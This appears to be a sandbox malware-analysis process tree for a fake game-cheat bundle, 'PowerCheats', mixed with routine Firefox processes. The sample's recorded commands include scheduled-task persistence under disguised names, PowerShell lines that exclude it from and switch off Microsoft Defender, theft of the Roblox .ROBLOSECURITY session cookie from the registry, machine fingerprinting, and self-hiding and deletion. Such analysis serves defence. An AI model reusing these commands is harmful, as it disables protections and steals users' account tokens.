    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.6.1726970890\1399569085" -childID 5 -isForBrowser -prefsHandle 5312 -prefMapHandle 5316 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {936c1cde-5994-4a72-a78f-a1860fb3921d} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5304 233cd7f1c58 tab
    3⤵
    PID:5812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.7.248012010\1221106865" -childID 6 -isForBrowser -prefsHandle 5948 -prefMapHandle 5936 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {67741d20-fab6-49c5-a549-a57bb2ab7a0e} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5976 233cfe21a58 tab
    3⤵
    PID:3676
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.8.1047249622\1699590398" -childID 7 -isForBrowser -prefsHandle 6096 -prefMapHandle 5948 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {94722188-1bf9-4957-8b20-3393615da6f0} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 6200 233cfe23b58 tab
    3⤵
    PID:4688
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.9.1569520103\2015017087" -childID 8 -isForBrowser -prefsHandle 6300 -prefMapHandle 6304 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb6710f3-7e72-4459-8aff-1226c50cea57} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 6384 233cfe22058 tab
    3⤵
    PID:3396
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.10.1674268845\1148494510" -childID 9 -isForBrowser -prefsHandle 5252 -prefMapHandle 5268 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {04f31e5c-7713-4adc-8306-5b5d90b48f7b} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5244 233cf64ca58 tab
    3⤵
    PID:5456
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.11.1539121131\1092961340" -childID 10 -isForBrowser -prefsHandle 6264 -prefMapHandle 6260 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dcb36229-0bb8-4c1b-99c9-9da18df3d9fc} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 6252 233cfc55058 tab
    3⤵
    PID:5260
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.12.1033704177\1738771363" -childID 11 -isForBrowser -prefsHandle 6048 -prefMapHandle 6032 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {440f09f3-389d-469a-b9b5-f586b837f7f6} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 6056 233cfc55f58 tab
    3⤵
    PID:3232
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.13.862199111\126711384" -childID 12 -isForBrowser -prefsHandle 6292 -prefMapHandle 6140 -prefsLen 27962 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6cc491ec-f6d6-4c99-bd0e-640415c35293} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5580 233cfc56558 tab
    3⤵
    PID:5732
- - C:\Users\Admin\Downloads\PowerCheats.exe
    "C:\Users\Admin\Downloads\PowerCheats.exe"
    3⤵
    - Executes dropped EXE
    PID:5944
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.14.1002673785\1541608483" -childID 13 -isForBrowser -prefsHandle 5492 -prefMapHandle 10420 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {164775f4-21c8-4183-b3ad-bfa8df4b3c27} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5000 233cbffb158 tab
    3⤵
    PID:5852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.15.262160712\1672546975" -childID 14 -isForBrowser -prefsHandle 5936 -prefMapHandle 4836 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81482a35-f6e0-4663-ab71-0d72c547deb5} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5504 233cfc55c58 tab
    3⤵
    PID:3200
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.16.1654447792\223032494" -childID 15 -isForBrowser -prefsHandle 10388 -prefMapHandle 10284 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c592f45c-8a13-4a2e-b2b6-84d99719ab39} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 10248 233cfc53258 tab
    3⤵
    PID:5060
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.17.562974702\1062818704" -childID 16 -isForBrowser -prefsHandle 9384 -prefMapHandle 9380 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8d038ea-a9f7-42a9-999c-73326d68b6ce} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 9392 233cfc53858 tab
    3⤵
    PID:4184
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.18.199394884\478429774" -childID 17 -isForBrowser -prefsHandle 5044 -prefMapHandle 5520 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a547c6bf-bee1-4c66-8b19-39664a8a10a8} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 9720 233d7e59258 tab
    3⤵
    PID:2056
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.19.1547894347\1880231116" -childID 18 -isForBrowser -prefsHandle 6228 -prefMapHandle 10188 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ceebb33d-7957-4a2f-8a89-208be7f1f97a} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 1496 233d7e57458 tab
    3⤵
    PID:5816
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.20.1239201860\2000306041" -childID 19 -isForBrowser -prefsHandle 10368 -prefMapHandle 10352 -prefsLen 31350 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {33c77625-ea07-48c8-96b2-8f75ca549283} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 5480 233d7e57a58 tab
    3⤵
    PID:3988
- - C:\Users\Admin\Downloads\PowerCheats(1).exe
    "C:\Users\Admin\Downloads\PowerCheats(1).exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1980
  - - C:\Users\Admin\Downloads\PowerCheat\libs\PowerCheatEmuHider.exe
      "C:\Users\Admin\Downloads\PowerCheat\libs\PowerCheatEmuHider.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2372
    - - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        5⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2032
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "conhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" & exit
        6⤵
        
        PID:5704
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "conhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4764
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:4960
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:3708
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "dllhost" /tr "C:\Windows\conshost.exe" /RL HIGHEST & exit
        6⤵
        
        PID:5844
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "dllhost" /tr "C:\Windows\conshost.exe" /RL HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:3924
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:5308
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:3488
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:1744
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:5832
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:2948
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:4316
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:1004
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:5592
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:6064
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:1192
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:5448
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:1020
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:5552
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:5772
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:3240
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:632
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:988
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:5092
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:6056
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:2684
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:1032
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:5968
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:400
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:1020
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:3656
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:5968
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:3436
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:3452
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:5604
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:5552
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:1972
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:1744
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:640
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:3596
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:2716
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:3488
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:1328
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:1984
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
        6⤵
        
        PID:1012
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
        7⤵
        
        PID:6024
      - C:\windows\system32\schtasks.exe
        
        "C:\windows\system32\schtasks.exe" /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        6⤵
        
        PID:6068
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.21.708295792\615667603" -childID 20 -isForBrowser -prefsHandle 5864 -prefMapHandle 6604 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {753a505b-0beb-4617-9885-b79a46682aca} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 10364 233cf88fa58 tab
    3⤵
    PID:632
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.22.2104870864\524476751" -childID 21 -isForBrowser -prefsHandle 6472 -prefMapHandle 6460 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d97ba88-276c-46ef-814a-d4e4b095c05b} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 4840 233cfa37458 tab
    3⤵
    PID:1660
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.23.1257020170\1372828685" -childID 22 -isForBrowser -prefsHandle 9036 -prefMapHandle 9040 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2caa8cdc-f7f3-4967-8721-74583b0b72cf} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 9028 233cfa37758 tab
    3⤵
    PID:1044
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.24.437171455\1604357316" -childID 23 -isForBrowser -prefsHandle 9200 -prefMapHandle 9204 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {99d1dc4d-decd-4cf1-b5ad-826ce72a1a09} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 9192 233cfa39558 tab
    3⤵
    PID:4780
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.25.477021793\119129503" -childID 24 -isForBrowser -prefsHandle 4788 -prefMapHandle 9624 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c47f2f4-c337-4d85-a6cc-ffdcf5e2381e} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 9356 233ba73fa58 tab
    3⤵
    PID:3596

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:1712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:976

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6020

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
PID:5536

C:\Users\Admin\Downloads\PowerCheat\HiderLdPlayer.exe
"C:\Users\Admin\Downloads\PowerCheat\HiderLdPlayer.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:5824
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:5200
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\Downloads\PowerCheat\HiderLdPlayer.exe"
  2⤵
  - Views/modifies file attributes
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\PowerCheat\HiderLdPlayer.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:5832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:6012
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:5412
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Loads dropped DLL
  PID:2080
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Loads dropped DLL
  PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Loads dropped DLL
  PID:5576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Loads dropped DLL
  - Detects videocard installed
  PID:2792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Downloads\PowerCheat\HiderLdPlayer.exe" && pause
  2⤵
  PID:3400
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1972

C:\Users\Admin\Downloads\PowerCheat\libs\PowerCheatEmuHider.exe
"C:\Users\Admin\Downloads\PowerCheat\libs\PowerCheatEmuHider.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
PID:3092
- C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
  "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  PID:5900
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3204
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5848
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2268
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5980
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4984
- - C:\Windows\SYSTEM32\CMD.exe
